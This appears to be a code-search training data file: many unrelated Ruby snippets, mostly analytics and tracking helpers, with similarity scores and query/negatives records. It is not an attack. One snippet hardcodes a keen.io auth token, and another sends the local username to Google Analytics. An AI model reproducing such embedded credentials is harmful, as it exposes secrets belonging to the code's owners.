ENV[\"HTTP_X_DCMGUID\"]\n guid_header ||= ENV[\"HTTP_X_UP_SUBNO\"]\n guid_header ||= ENV[\"HTTP_X_JPHONE_UID\"]\n guid_header ||= ENV[\"HTTP_X_EM_UID\"]\n\n visitor_id = get_visitor_id(guid_header, account, user_agent, cookie)\n\n utm_gif_location = \"http://www.google-analytics.com/__utm.gif\"\n\n #Construct the gif hit url.\n utm_url = utm_gif_location + \"?\" +\n \"utmwv=\" + GA_VERSION +\n \"&utmn=\" + get_random_number +\n \"&utmhn=\" + CGI::escape(domain_name) +\n \"&utmr=\" + CGI::escape(document_referer) +\n \"&utmp=\" + CGI::escape(document_path) +\n \"&utmac=\" + account +\n \"&utmcc=__utma%3D999.999.999.999.999.1%3B\" +\n \"&utmvid=\" + visitor_id +\n \"&utmip=\" + get_ip(ENV[\"REMOTE_ADDR\"])\n\n send_request_to_google_analytics(utm_url)\n\n #Finally write the gif data to the response.\n write_gif_data(utm_url, time_stamp, visitor_id)\nend", "def on_pre_request( request )\n end", "def track!(*args)\n begin\n opts = args.extract_options!\n data = { v: 1, tid: Setting.google_analytics, cid: opts[:session] || SecureRandom.uuid[0,32], t: :pageview, dp: \"/#{self.code}\", dh: \"mycolor.today\", dt: self.title }\n data[:dr] = opts[:referrer] if opts[:referrer].present?\n data[:uid] = opts[:user] if opts[:user].present?\n resp = RestClient.post( 'http://www.google-analytics.com/collect', data )\n rescue\n nil\n end\n end", "def analytics_tracking account\n haml_tag :script, :type => \"text/javascript\" do\n haml_concat \"\"\"\n //<![CDATA[\n var _gaq = _gaq || [];\n _gaq.push(['_setAccount', '#{account}']);\n _gaq.push(['_trackPageview']);\n\n (function() {\n var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';\n var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);\n })();\n //]]>\n \"\"\"\n end\n end", "def genAnalytics\n %{<script type=\"text/javascript\">\n var gaJsHost = ((\"https:\" == document.location.protocol) ? \"https://ssl.\" : \"http://www.\");\n document.write(unescape(\"%3Cscript src='\" + gaJsHost + \"google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E\"));\n </script>\n <script type=\"text/javascript\">\n try {\n var pageTracker = _gat._getTracker(\"UA-10612400-1\");\n pageTracker._trackPageview();\n } catch(err) {}</script>}\nend", "def a_tracking_code(account_id, track_page_id)\n result = <<-SCRIPT\n <!-- Google Website Optimizer Control Script -->\n <script type=\"text/javascript\">\n <!--\n function utmx_section(){}function utmx(){}\n (function(){var k='#{track_page_id}',d=document,l=d.location,c=d.cookie;function f(n){\n if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.\n length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;\n d.write('<sc'+'ript src=\"'+\n 'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'\n +'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='\n +new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+\n '\" type=\"text/javascript\" charset=\"utf-8\"></sc'+'ript>')})();\n -->\n </script>\n <script type=\"text/javascript\">utmx(\"url\",'A/B');</script>\n <!-- End of Google Website Optimizer Control Script -->\n\n <!-- Google Website Optimizer Tracking Script -->\n <script type=\"text/javascript\">\n var _gaq = _gaq || [];\n _gaq.push(['gwo._setAccount', '#{account_id}']);\n _gaq.push(['gwo._trackPageview', '/#{track_page_id}/test']);\n #{load_ga_src}\n </script>\n <!-- End of Google Website Optimizer Tracking Script -->\n SCRIPT\n\n return result\n end", "def on_before_load\n end", "def tracker_key\n Card.config.google_analytics_tracker_key || google_analytics_keys.first\nend", "def goal_tracking_code(account_id, track_page_ids = [])\n track_page_ids = Array(track_page_ids)\n\n <<-SCRIPT\n <!-- Google Website Optimizer Tracking Script -->\n <script type=\"text/javascript\">\n var _gaq = _gaq || [];\n _gaq.push(['gwo._setAccount', '#{account_id}']);\n #{track_page_ids.map { |id| \"_gaq.push(['gwo._trackPageview', '/#{id}/goal']);\" }.join(\"\\n\")}\n #{load_ga_src}\n </script>\n <!-- End of Google Website Optimizer Tracking Script -->\n SCRIPT\n end", "def ga_track_ad_impression(ad)\n adv = ad.advertiser.blank? ? \"UNKNOWN\" : ad.advertiser.name\n category = adv + \" - Ad Data\"\n\n ad_name = ad.name.blank? ? \"UNKNOWN\" : ad.name\n action = ad_name + \" - Impressions\"\n\n #adv_link = ad.destination.blank? ? \"\" : ad.destination\n adv_link = request.url\n\n # _gaq.push(['_trackEvent', 'category', 'action', 'label']);\n result = \"_gaq.push(['_trackEvent', '\" + category + \"', '\" + action + \"', '\" + adv_link +\"']);\"\n\n # Tell rails not to escape the output.\n result.html_safe\n end", "def track_web_analytics\r\n @web_analytics = WebAnalytics.new\r\n @web_analytics.request = request\r\n @web_analytics.page_reader = session_user.screen_name if session_user\r\n end", "def after_view_setup\n end", "def track_transaction\n \"ga('ecommerce:send');\"\n end", "def kopal_layout_before_page_meta\n\n end", "def on_after_load\n end", "def tracking_code(web_property_id)\n returning_value = <<-EOF\n <script type=\"text/javascript\">\n if (typeof gaJsHost == 'undefined') {\n var gaJsHost = ((\"https:\" == document.location.protocol) ? \"https://ssl.\" : \"http://www.\");\n document.write(unescape(\"%3Cscript src='\" + gaJsHost + \"google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E\"));\n }\n </script>\n <script type=\"text/javascript\">\n try {\n var #{options[:prefix]}pageTracker = _gat._getTracker(\"#{web_property_id}\");\n EOF\n if options[:multiple_top_level_domains]\n returning_value << <<-EOF\n #{options[:prefix]}pageTracker._setDomainName(\"none\");\n #{options[:prefix]}pageTracker._setAllowLinker(true);\n EOF\n elsif options[:domain_name]\n returning_value << <<-EOF\n #{options[:prefix]}pageTracker._setDomainName(\"#{options[:domain_name]}\");\n EOF\n end\n\n returning_value << <<-EOF\n #{options[:prefix]}pageTracker._trackPageview();\n } catch(err) {}</script>\n EOF\n returning_value\n end", "def initialize() \n\t\t@view_id = VIEW_ID\n\t\t@analytics = Google::Apis::AnalyticsreportingV4\n\t\tauth\n\tend", "def add_analytics_partial_now partial, *locals_hash\n now[\"flash_analytics\"] ||= {}\n now[\"flash_analytics\"][partial] = locals_hash[0]\n end", "def google_analytics_check \n (request.host == 'myhalomonitor.com' or request.host == 'www.myhalomonitor.com') #and !@@google_analytics_filter.include? request.env[\"REMOTE_ADDR\"].to_s\n end", "def tracking_tags\n @config['aftership_tracking_tag']\n end", "def enable_tracking\n @DoNotTrack = false\n #Enable do not track for admin and any future employees. Har har. Employees. Yah right.\n if user_signed_in? && current_user.is_admin?\n @DoNotTrack = true\n end\n true\n end", "def add_analytics_partial partial, *locals_hash\n self[\"flash_analytics\"] ||= {}\n self[\"flash_analytics\"][partial] = locals_hash[0]\n end", "def set_exclude_from_analytics\n @exclude_from_analytics = request.env['HTTP_USER_AGENT'].try(:match, /http/i) || request.remote_ip == \"68.108.56.31\" || (!current_user.nil? && current_user.email.match(/bluefields.com/i))\n end", "def analytics_track_transaction\n analytics_render_event(GA::Events::Ecommerce::TrackTransaction.new)\n end", "def google_analytics(options = {})\n @link_params['utm_medium'] = 'email'\n options.each {|kv| @link_params[\"utm_#{kv[0]}\"] = kv[1]}\n end", "def ga_ad_click(advertiser, ad_name, link)\n adv = advertiser.blank? ? \"\" : advertiser\n adv_name = ad_name.blank? ? \"\" : ad_name\n #adv_link = link.blank? ? \"\" : link\n category = adv + \" - Ad Data\"\n action = adv_name + \" - Clicks\"\n\n adv_link = request.url\n result = \"_gaq.push(['_trackEvent', '\" + category + \"', '\" + action + \"', '\" + adv_link +\"']);\"\n\n # Tell rails not to escape output.\n result.html_safe\n end", "def fb_google_analytics(uacct, options={})\n options = options.dup\n tag \"fb:google-analytics\", stringify_vals(options.merge(:uacct => uacct))\n end", "def track_pageview\n\n # Get these from the keen.io website:\n project_id = \"4f5775ad163d666a6100000e\"\n auth_token = \"a5d4eaf432914823a94ecd7e0cb547b9\"\n\n # First you must setup the client:\n keen = Keen::Client.new(project_id, auth_token, :storage_mode => :redis)\n\n # Log the event with Keen:\n keen.add_event(\"pageviews\", {\n :params => params,\n :url => request.url,\n })\n\n end", "def before_processing\n end", "def ping_google_analytics()\n # Trying to get some metrics for usage, just comment out if you don't want it.\n Kitchenplan::Log.info 'Sending a ping to Google Analytics to count usage'\n require 'Gabba'\n Gabba::Gabba.new(\"UA-46288146-1\", \"github.com\").event(\"Kitchenplan\", \"Run\", ENV['USER'])\n end", "def ping_google_analytics()\n # Trying to get some metrics for usage, just comment out if you don't want it.\n Kitchenplan::Log.info 'Sending a ping to Google Analytics to count usage'\n require 'gabba'\n Gabba::Gabba.new(\"UA-46288146-1\", \"github.com\").event(\"Kitchenplan\", \"Run\", ENV['USER'])\n end", "def track\n self.class.track(@tracking)\n end", "def set_google_analytic\n @google_analytic = if current_manager\n GoogleAnalytic.find_by!(id: params[:id], organization_id: current_manager.organization_id)\n else\n GoogleAnalytic.find(params[:id])\n end\n end", "def before_recorded\n end", "def kopal_layout_after_page_meta\n\n end", "def track_browser_page(user, event, event_keys={})\n raise \"Already tracked browser page from #{@tracked_browser_page}\" if @tracked_browser_page\n return false unless Rails.env.production?\n track_browser_user(user) unless @browser_user\n code = (\"analytics.identify('#{@browser_user.id}', #{@browser_user_keys.to_json});\" \\\n \"analytics.track('#{j event}', #{event_keys.to_json});\").html_safe\n content_for :scripts, code\n @tracked_browser_page = caller[0]\n true\n end", "def inject_js; end", "def google_analytics_client_id=(ga_id)\n google_analytics_client_ids_will_change!\n self.google_analytics_client_ids << ga_id unless self.google_analytics_client_ids.include? ga_id\n end", "def set_gtag\n gtags = @current_event.gtags\n\n Rollbar.silenced do\n gtag_id = gtags.find_by(id: params[:id])&.id || gtags.find_by(tag_uid: params[:id])&.id\n\n @gtag = gtags.find(gtag_id)\n authorize @gtag\n end\n end", "def after_init\n self.gateway ||= \"google\"\n self.transaction_id = google_order_number\n end", "def after_init\n self.gateway ||= \"google\"\n self.transaction_id = google_order_number\n end", "def analytics_ua\n h Settings.analytics_ua\n end", "def before_resolution\n end", "def assign_random_tracking_id\n if tracking_id.nil?\n self.tracking_id = get_unique_tracking_id\n end\n end", "def google_analytics_script\n\t\t$tracer.trace(__method__)\n\t\treturn script.innerText(\"/var accountNumber = 'UA-10897913-11';/\").innerText\n\tend", "def follow_meta_refresh; end", "def follow_meta_refresh; end", "def track_event(action)\n\t\t\tif params['ga_tracking_id'] and params['ga_client_id']\n\t\t\t\ttracker = Staccato.tracker(params['ga_tracking_id'], params['ga_client_id'], ssl: true, document_hostname: params['ga_hostname'])\n\t\t\t\ttracker.event(category: 'support', action: action, value: 1)\n\t\t\tend\n\t\tend", "def callback_phase\n # Prep the urls using the account ID.\n # TODO: Could we use the :setup option and a Proc\n # to handle this rather than call here? \n set_omniauth_zendesk_urls\n\n # Continue the request as usual.\n super\n end", "def datadog_before_request(continue_from: nil)\n load_datadog_configuration_for(url)\n\n trace_options = continue_from ? { continue_from: continue_from } : {}\n uri = try_parse_uri\n\n @datadog_span = Tracing.trace(\n Ext::SPAN_REQUEST,\n service: uri ? service_name(uri.host, datadog_configuration) : datadog_configuration[:service_name],\n span_type: Tracing::Metadata::Ext::HTTP::TYPE_OUTBOUND,\n **trace_options\n )\n datadog_trace = Tracing.active_trace\n\n datadog_tag_request\n\n if datadog_configuration[:distributed_tracing]\n @datadog_original_headers ||= {}\n Tracing::Propagation::HTTP.inject!(datadog_trace, @datadog_original_headers)\n self.headers = @datadog_original_headers\n end\n end", "def kopal_layout_before_page_header\n\n end", "def tracking_callback\n return if AhoyEmail.tracking_callback_url.blank?\n return if callback_params[:atid].blank?\n\n begin\n uri = URI(\"#{AhoyEmail.tracking_callback_url}/#{callback_params[:atid]}/#{callback_params[:utm_action]}\")\n dupe_callback_params = callback_params.to_h\n dupe_callback_params[:redirect] = false\n dupe_callback_params[:url] = \"#{request.scheme}://#{request.host.include?(\"www.\") ? request.host : \"www.#{request.host}\"}#{request.path}\"\n uri.query = URI.encode_www_form(dupe_callback_params)\n Net::HTTP.get_response(uri)\n rescue StandardError => e\n Honeybadger.notify(e)\n end\n end", "def send_request_to_google_analytics(utm_url)\n options = {\n \"method\" => \"GET\",\n \"user_agent\" => ENV[\"HTTP_USER_AGENT\"],\n \"header\" => \"Accepts-Language: #{ENV[\"HTTP_ACCEPT_LANGUAGE\"]}\"\n }\n if $cgi[\"utmdebug\"] == \"\"\n OpenURI::open_uri(utm_url, options)\n else\n OpenURI::open_uri(utm_url, options) {|f| warn f.read }\n end\nend", "def pre_execute(&block)\n @hooks[:pre_execute] = block\n end", "def on_track_change\n # XXXMLG implement\n end", "def show\n # set_meta_tags MetaTag.new({host: request.host, movie: @movie}).hash_options\n impressionist(@post, nil, { unique: [:session_hash] })\n @post.impressionist_count(:filter => :params)\n\n set_meta_tags title: @post.title,\n site: 'Cat Blog',\n description: @post.summary,\n keywords: @post.keywords,\n og: {\n title:'Cat Blog',\n description: @post.summary,\n type: 'website',\n url: post_url(@post)\n }\n\n\n\n end", "def before_run; end", "def track_visitor\n return if ignore_funnel_tracking?\n register_funnel_visitor unless visitor_registered?\n end", "def kopal_layout_before_page_front\n\n end", "def prepare\n super\n\n self.fetch_site\n end", "def call(env)\n @app.call(env).tap do |response|\n body = response[2].content.find_tag { |tag| tag.name.eql?(:body) }\n body.tag(:script, src: \"htpp://google.com/ga.js\")\n end\n end", "def google_ajax_api_scripts\n return '' if defined?(@google_ajax_api_scripts_included)\n script = '<script type=\"text/javascript\" src=\"http://www.google.com/jsapi'\n script << \"?key=#{Overlord.configuration.google_ajax_api_key}\" if Overlord.configuration.google_ajax_api_key\n script << '\"></script>'\n @google_ajax_api_scripts_included = true\n script.html_safe\n end", "def show\n\n @show = @episode.show\n @followers = @show.user_followers.offset(rand(@show.user_followers.count)).limit(5)\n @likers = @episode.votes.up.by_type(User).voters.compact\n\n if(!@episode.tag_list.empty?)\n @page_keywords = @episode.tag_list.to_s\n end\n @description = @episode.description\n\n\n # @ga_custom = \"ga('set', 'dimension1', '#{@episode.creator.id}');\"\n @ga_page_params = \", {'dimension1': '#{@episode.creator.id}', 'dimension2': '#{@episode.id}'}\"\n\n \n # @page_keywords = \"this is episode keywords\"\n\n if params.has_key?(:show_id)\n @dfp_header = \"shows\"\n @banner_ad = \"/31902320/Shows_Leaderboard\"\n @banner_id = 'div-gpt-ad-1411894829676-0'\n @title = \"#{@show.title} : #{@episode.title}\"\n \n render 'shows/show'\n elsif params.has_key?(:friend_id)\n @dfp_header = \"friends\"\n @banner_ad = \"/31902320/Friends_single_leaderboard\"\n @banner_id = 'div-gpt-ad-1413353029748-0'\n @friend = Friend.friendly.find(params[\"friend_id\"])\n\n # custom code if exists\n @dfp_header_code = @friend.dfp_header_code\n @dfp_banner_ad = @friend.dfp_banner_ad\n @dfp_mid_side_ad = @friend.dfp_mid_side_ad\n\n @title = \"#{@friend.title} : #{@episode.title}\"\n if @friend.background.present? \n @custom_background = @friend.background(:original)\n end\n @custom_background_full = @friend.background_full\n render 'friends/show'\n else\n redirect_to @episode.link\n end\n end", "def tracking_url_for(order)\n return nil if self.tracking_url.blank?\n tracking_url = self.tracking_url.dup\n tracking_url.gsub!(\"{{consignment_number}}\", CGI.escape(order.consignment_number.to_s))\n tracking_url.gsub!(\"{{delivery_postcode}}\", CGI.escape(order.delivery_postcode.to_s))\n tracking_url.gsub!(\"{{billing_postcode}}\", CGI.escape(order.billing_postcode.to_s))\n tracking_url\n end", "def google_load_maps\n return '' if defined?(@google_load_maps_included)\n @google_load_maps_included = true\n (google_ajax_api_scripts + '<script type=\"text/javascript\">google.load(\"maps\", \"2\");</script>').html_safe\n end", "def set_submission_page_script\n @page_script = \"IG.submission = { id: #{@submission.id || 'null'} };\"\n end", "def on_request( &block )\n @preprocessor = block\n end", "def _Gvn_before(&block)\n _Gvn_before_blocks << block\n end", "def meta_refresh; end", "def activate\n Page.send :include, IfIdTags\n end", "def reset_gtm_global_statistics\n super\n end", "def url_script\n # Referrer check just to keep other sites from linking this in and getting our\n # user id too.\n if request.referrer.nil? || URI(request.referrer).host == Rails.application.secrets.qa_host\n if user_signed_in?\n code = \"var bz_current_user_openid_url = #{url_for_user.to_json};\"\n else\n code = 'var bz_current_user_openid_url = null;'\n end\n render :text => code, :content_type => 'text/javascript'\n end\n end", "def analytics_track_event(category, action, label = nil, value = nil)\n analytics_render_event(GA::Events::TrackEvent.new(category, action, label, value))\n end", "def google_ajax_slideshow_scripts\n return '' if defined?(@google_ajax_slideshow_scripts_included)\n @google_ajax_slideshow_scripts_included = true\n '<script src=\"http://www.google.com/uds/solutions/slideshow/gfslideshow.js\" type=\"text/javascript\"></script>'.html_safe\n end", "def onclick_social_ga_js(social_event_str)\n if SemiStatic::Engine.config.ga4\n \"var that=this;gtag(\\\"event\\\", \\\"socialShare\\\", {\\\"sharedTo\\\" : \\\"#{social_event_str}\\\"});setTimeout(function(){location.href=that.href;},400);return false;\"\n else\n \"var that=this;ga(\\\"send\\\", \\\"event\\\", \\\"SocialShare\\\", \\\"#{social_event_str}\\\");setTimeout(function(){location.href=that.href;},400);return false;\"\n end\n end", "def set_click_tracking\n @click_tracking = ClickTracking.find(params[:id])\n end", "def before_auto_marking(&block)\n @blocks[:before].push block\n end", "def before_report &block\n (@before_handlers ||= []) << block\n end", "def track_action\n unless ENV['DISABLE_TRACKING'] == 'true'\n ahoy.track \"#{controller_name}##{action_name}\", request.filtered_parameters\n end\n end", "def add_google_info(access_token)\n if self.google_id.blank?\n if self.start_time.present? && self.title.present?\n google_event = Google::Event.search_by_date_range(\n access_token,\n self.start_time,\n (self.start_time + 1.minutes),\n self.google_calendar_id\n )\n if !google_event['error'] && items = google_event['data']['items']\n event = items.select{|item| item['title'] == self.title}.first\n if event\n self.details = event['details']\n self.google_id = event['id']\n end\n end\n end\n end\n end", "def google_load_search\n return '' if defined?(@google_load_search_included)\n @google_load_search_included = true\n (google_ajax_api_scripts + '<script type=\"text/javascript\">google.load(\"search\", \"1\");</script>').html_safe\n end", "def ga_tracking_id\n @ga_config ||= YAML.load_file(Rails.root.join('config', 'ga.yml').to_s)[Rails.env]\n @ga_tracking_id ||= @ga_config[\"tracking_id\"]\n end", "def pre_block\n end", "def pre_block\n end", "def analytics_add_transaction(order_id, store_name, total, tax, shipping, city, state_or_province, country)\n analytics_render_event(GA::Events::Require.new('ecommerce','ecommerce.js'))\n analytics_render_event(GA::Events::Ecommerce::AddTransaction.new(order_id, store_name, total, tax, shipping, city, state_or_province, country))\n end", "def after_request\n end" ]
[ "0.6749112", "0.673698", "0.65304804", "0.64348984", "0.6429848", "0.6369825", "0.63361144", "0.62490946", "0.62357044", "0.6229336", "0.61716264", "0.6165106", "0.6159343", "0.61225307", "0.6116578", "0.61038226", "0.6063814", "0.60264933", "0.60193616", "0.588455", "0.58807665", "0.58570814", "0.5778333", "0.57743794", "0.5734881", "0.5726143", "0.5712276", "0.5709202", "0.5643778", "0.56377035", "0.5566758", "0.55523926", "0.55243003", "0.54589677", "0.5436888", "0.5398025", "0.53813463", "0.5369397", "0.5339921", "0.5321423", "0.5257859", "0.5241607", "0.5218314", "0.52061504", "0.5199914", "0.51958025", "0.5191583", "0.5184605", "0.51811224", "0.51684314", "0.5162877", "0.5156642", "0.5144143", "0.5137264", "0.5137264", "0.51335144", "0.5133262", "0.5129609", "0.51154083", "0.5115108", "0.5115108", "0.5110923", "0.5102819", "0.5095235", "0.5092876", "0.5082152", "0.5073287", "0.5071865", "0.5071825", "0.50674784", "0.5056579", "0.5051989", "0.50507575", "0.5050738", "0.5023812", "0.50137717", "0.50038034", "0.5003715", "0.50021803", "0.49955875", "0.4993423", "0.49812663", "0.4979678", "0.49777707", "0.4971124", "0.49686274", "0.4968098", "0.49678499", "0.49644223", "0.49590707", "0.4955867", "0.49537086", "0.49512184", "0.49396998", "0.49346793", "0.49277535", "0.4923232", "0.4923232", "0.49225447", "0.49188253" ]
0.5867646
21
def dummy end def new
def create device = current_user.owned_devices.create!(params_attributes) flash[:success] = 'Successfully created device' render_response( redirect_path: devices_path(category: :owned) ) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new; end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new #:nodoc:\n end", "def new \n end", "def new\n\t\t\n\tend", "def new\n\t\t\n\tend", "def new \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new\n \n end", "def new \n end", "def new \n end", "def self_new\n end", "def new\r\n end", "def new\r\n end", "def new\n \n end", "def self_new\n raise \"Not implemented.\"\n end", "def new\n\t\t\"let's make something new.\"\n\tend", "def new\n\t\t\t\"Should we make something new?\"\n\t\tend", "def constructor; end", "def new\n end", "def new()\n #This is a stub, used for indexing\n end", "def new\r\n\r\n end", "def new\n end", "def new\n end", "def new\n end", "def new\n end", "def new\n end", "def new\n end", "def new\n end", "def new\n end", "def new\nend", "def new\nend", "def new\n\tend", "def new\n\tend", "def new\n\tend", "def new\n\tend", "def new\n\tend", "def new\n\tend", "def new\n\tend", "def new\n\tend", "def new\n\tend", "def new\n\tend", "def new\n\tend", "def new\n\tend", "def new\n\tend", "def new\n\tend", "def new\n\tend", "def initialize() end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def new\r\n \r\n end", "def new\n super\n end", "def really_new\n return self.new\n end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def instantiate!; end", "def new\n super\n end", "def new \n super\n end", "def new \n super\n end", "def new\n new_with_value(nil)\n end", "def construct\n end", "def new\n super\n end", "def new\n super\n end", "def new\n super\n end", "def new\n super\n end", "def new\n super\n end", "def new\n super\n end", "def new\n super\n end", "def new\n super\n end", "def new\n super\n end", "def new\n super\n end", "def new\n super\n end", "def new\n super\n end" ]
[ "0.82791334", "0.82791334", "0.82791334", "0.82791334", "0.82791334", "0.82791334", "0.82791334", "0.82791334", "0.82791334", "0.8053541", "0.80312127", "0.80312127", "0.80312127", "0.80312127", "0.80312127", "0.79798305", "0.78253907", "0.77555907", "0.77555907", "0.77256304", "0.77046144", "0.77046144", "0.77046144", "0.77046144", "0.77046144", "0.76477087", "0.76477087", "0.75328577", "0.7492019", "0.7492019", "0.7482589", "0.74759", "0.7473992", "0.74127203", "0.74115705", "0.74061054", "0.73867583", "0.73403656", "0.72985995", "0.72985995", "0.72985995", "0.72985995", "0.72985995", "0.72985995", "0.72985995", "0.72985995", "0.72628355", "0.72628355", "0.7238499", "0.7238499", "0.7238499", "0.7238499", "0.7238499", "0.7238499", "0.7238499", "0.7238499", "0.7238499", "0.7238499", "0.7238499", "0.7238499", "0.7238499", "0.7238499", "0.7238499", "0.72374874", "0.7233824", "0.7233824", "0.7233824", "0.7233824", "0.7233824", "0.72311866", "0.71707106", "0.71364266", "0.71030056", "0.71030056", "0.71030056", "0.71030056", "0.71030056", "0.71030056", "0.71030056", "0.71030056", "0.71030056", "0.71030056", "0.71030056", "0.71025974", "0.70892227", "0.70809734", "0.7075804", "0.7059047", "0.69962263", "0.6965307", "0.69647694", "0.69647694", "0.69647694", "0.69647694", "0.69647694", "0.69647694", "0.69647694", "0.69647694", "0.69647694", "0.69647694", "0.69647694" ]
0.0
-1
if a method is not defined for a particular verb or action, this will be used.
def default? SkinnyControllers.allow_by_default end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def method\r\n@method ||= check_method(env[\"rack.methodoverride.original_method\"] || env['REQUEST_METHOD'])\r\nend", "def verb\n raise NotImplementedError.new('Must override')\n end", "def method_for(action = nil, method = nil)\n @method_for ||= (superclass.respond_to?(:method_for) ? superclass.method_for : {})\n return @method_for if action.nil?\n\n action = action.to_s.downcase.to_sym\n\n return @method_for[action] if method.nil?\n @method_for[action] = method.to_s.downcase.to_sym\n end", "def method_for(action = nil, method = nil)\n @method_for ||= (superclass.respond_to?(:method_for) ? superclass.method_for : {})\n return @method_for if action.nil?\n\n action = action.to_s.downcase.to_sym\n\n return @method_for[action] if method.nil?\n @method_for[action] = method.to_s.downcase.to_sym\n end", "def verb\n [\"get\", \"post\"].include?(raw_verb) ? raw_verb : \"post\"\n end", "def default_method\n case @action.to_s\n when /create/\n :post\n when /update/\n :put\n when /destroy/\n :delete\n else# and when /(index|show|new|edit)/\n :get\n end\n end", "def method\n @method ||= options[:method]\n end", "def action_method?(name); end", "def method_for_action(action_name)\n if action_method?(action_name) then action_name\n elsif respond_to?(:action_missing, true) then \"_handle_action_missing\"\n end\n end", "def method(name = nil)\n name.nil? ? @method : super(name)\n end", "def method(method = nil)\n return @method unless method\n case method\n when :get, :post, :put, :delete\n @method = method\n else\n raise \"Unknown HTTP method :#{method}.\"\n end\n end", "def method(method = nil)\n return @method if method.nil?\n\n @method = method.to_s.capitalize\n end", "def method_missing(method_name, *args)\n action_method_name = _resolve_action_method_name(method_name)\n if action_method_name.nil?\n super\n else\n send(action_method_name, *args)\n end\n end", "def method(name=nil) # :nodoc:\n #; [!084jo] returns current request method when argument is not specified.\n #; [!gwskf] calls Object#method() when argument specified.\n return name ? super : @meth\n end", "def method_for_action(action_name); end", "def method_for_action(action_name)\n if action_method?(action_name)\n action_name\n elsif respond_to?(:action_missing, true)\n \"_handle_action_missing\"\n end\n end", "def method\n return @method if defined? @method\n @method = headers[METHOD_KEY]\n @method = @method.downcase.to_sym if @method\n @method\n end", "def method\n options.fetch(:method, nil)\n end", "def method\n @method ||= ( ( ( m = @request.request_method.downcase ) == 'post' and\n ( n = @request['_method'] ) ) ? n.downcase : m ).intern\n end", "def requested_method\n\t\t\t\t# respond to websocket special case\n\t\t\t\treturn :pre_connect if request.upgrade?\n\t\t\t\t# respond to save 'new' special case\n\t\t\t\treturn (self.class.has_method?(:save) ? :save : false) if (request.request_method =~ /POST|PUT|PATCH/i.freeze) && (params[:id].nil? || params[:id] == 'new'.freeze)\n\t\t\t\t# set DELETE method if simulated\n\t\t\t\trequest.request_method = 'DELETE'.freeze if params[:_method] && params[:_method].to_s.downcase == 'delete'.freeze\n\t\t\t\t# respond to special :id routing\n\t\t\t\tparams[:id].to_s.downcase.to_sym.tap { |met| return met if self.class.has_exposed_method?(met) } if params[:id]\n\t\t\t\t#review general cases\n\t\t\t\tcase request.request_method\n\t\t\t\twhen 'GET'.freeze, 'HEAD'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:index) ? :index : false) unless params[:id]\n\t\t\t\t\treturn (self.class.has_method?(:show) ? :show : false)\n\t\t\t\twhen 'POST'.freeze, 'PUT'.freeze, 'PATCH'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:update) ? :update : false)\n\t\t\t\twhen 'DELETE'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:delete) ? :delete : false)\n\t\t\t\tend\n\t\t\t\tfalse\n\t\t\tend", "def method_missing(api_method, *args) # :nodoc:\n @client.wsdl.soap_actions.include?(api_method.to_sym) ? call(api_method, *args) : super\n end", "def http_verb(params)\n [:post, :put, :delete].detect { |method_name|\n params.key?(method_name)\n } || :get\n end", "def find_action_method( txn, action, *args )\n\t\treturn self.method( action ) if self.respond_to?( action )\n\n\t\t# Otherwise, return an appropriate error response\n\t\tself.log.error \"request for unimplemented %p action for %s\" % [ action, txn.uri ]\n\t\treturn self.method( :not_allowed )\n\tend", "def http_method= new_verb\n @http_method = new_verb.to_s.upcase\n end", "def http_method= new_verb\n @http_method = new_verb.to_s.upcase\n end", "def method\n options[:method] || :get\n end", "def method(name=nil) # :nodoc:\n return name ? super : @meth\n end", "def action_method?(name)\n self.class.action_methods.include?(name)\n end", "def method_missing method, *opt\n method.to_s =~ /^do_[A-Z]+$/ ? process_request(*opt) : super\n end", "def respond_to_missing?(method, include_private = true)\n method.to_s.end_with?(ACTION_SUFFIX) || super\n end", "def method\n @method\n end", "def method\n @method\n end", "def halt_method(x = ['GET'])\n if !x.include?(request.request_method)\n halt 405\n end\n end", "def method\n @method\n end", "def method_missing(method, *args, &block)\n if actions(current_api).include? method\n self.class.send(:define_method, method) do |params|\n perform_soap_call(method, params) || perform_rest_call(params)\n end\n send method, *args, &block\n else\n super\n end\n end", "def verb_for_action\n SkinnyControllers.action_map[action_name] || SkinnyControllers.action_map['default']\n end", "def process_action(method_name)\n send(method_name)\n end", "def action_method?\n nil\n end", "def method_tag\n method = options[:method]\n\n case method\n when /^get$/ # must be case-insensitive, but can't use downcase as might be nil\n options[:method] = 'get'\n ''\n when /^post$/, '', nil\n options[:method] = 'post'\n ''\n else\n options[:method] = 'post'\n Hidden.(value: method, name: '_method').to_s\n end\n end", "def method?(meth)\n get_method(meth)\n end", "def api_method\n @_api_method ||= \"#{method_from_class_name}.get\"\n end", "def find_action_method( txn, action=nil, *args )\n\t\t\tif self.class.unauthenticated_actions.include?( action )\n\t\t\t\tself.log.debug \"Supering to unauthenticated action %p\" % [ action ]\n\t\t\t\tsuper\n\t\t\telse\n\t\t\t\tself.log.debug \"Action %p wasn't marked as unauthenticated; checking authorization.\" %\n\t\t\t\t\t[ action ]\n\t\t\t\twith_authorization( txn, action, *args ) 